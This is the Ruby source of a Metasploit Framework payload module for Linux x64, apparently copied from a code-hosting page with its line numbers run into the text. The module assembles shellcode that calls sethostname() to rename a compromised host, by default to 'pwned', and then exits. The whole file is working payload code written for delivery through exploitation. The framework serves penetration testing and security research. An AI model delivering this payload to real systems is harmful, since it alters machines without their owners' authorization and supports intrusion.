Path: blob/master/modules/payloads/singles/linux/x64/set_hostname.rb
21094 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 4078include Msf::Payload::Single9include Msf::Payload::Linux1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Linux Set Hostname',16'Description' => 'Sets the hostname of the machine.',17'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',18'License' => MSF_LICENSE,19'Platform' => 'linux',20'Arch' => ARCH_X64,21'Privileged' => true22)23)2425register_options(26[27OptString.new('HOSTNAME', [true, 'The hostname to set.', 'pwned'])28]29)30end3132def generate(_opts = {})33hostname = (datastore['HOSTNAME'] || 'pwned').gsub(/\s+/, '') # remove all whitespace from hostname.34length = hostname.length35if length > 0xff36fail_with(Msf::Module::Failure::BadConfig, 'HOSTNAME must be less than 255 characters.')37end3839payload = %^40push 0xffffffffffffff56 ; sethostname() syscall number.41pop rax42neg rax43jmp str4445end:46push #{length}47pop rsi48pop rdi ; rdi points to the hostname string.49xor byte [rdi+rsi], 0x4150syscall5152push 60 ; exit() syscall number.53pop rax54xor rdi,rdi55syscall5657str:58call end59db "#{hostname}A"60^6162Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string63end64end656667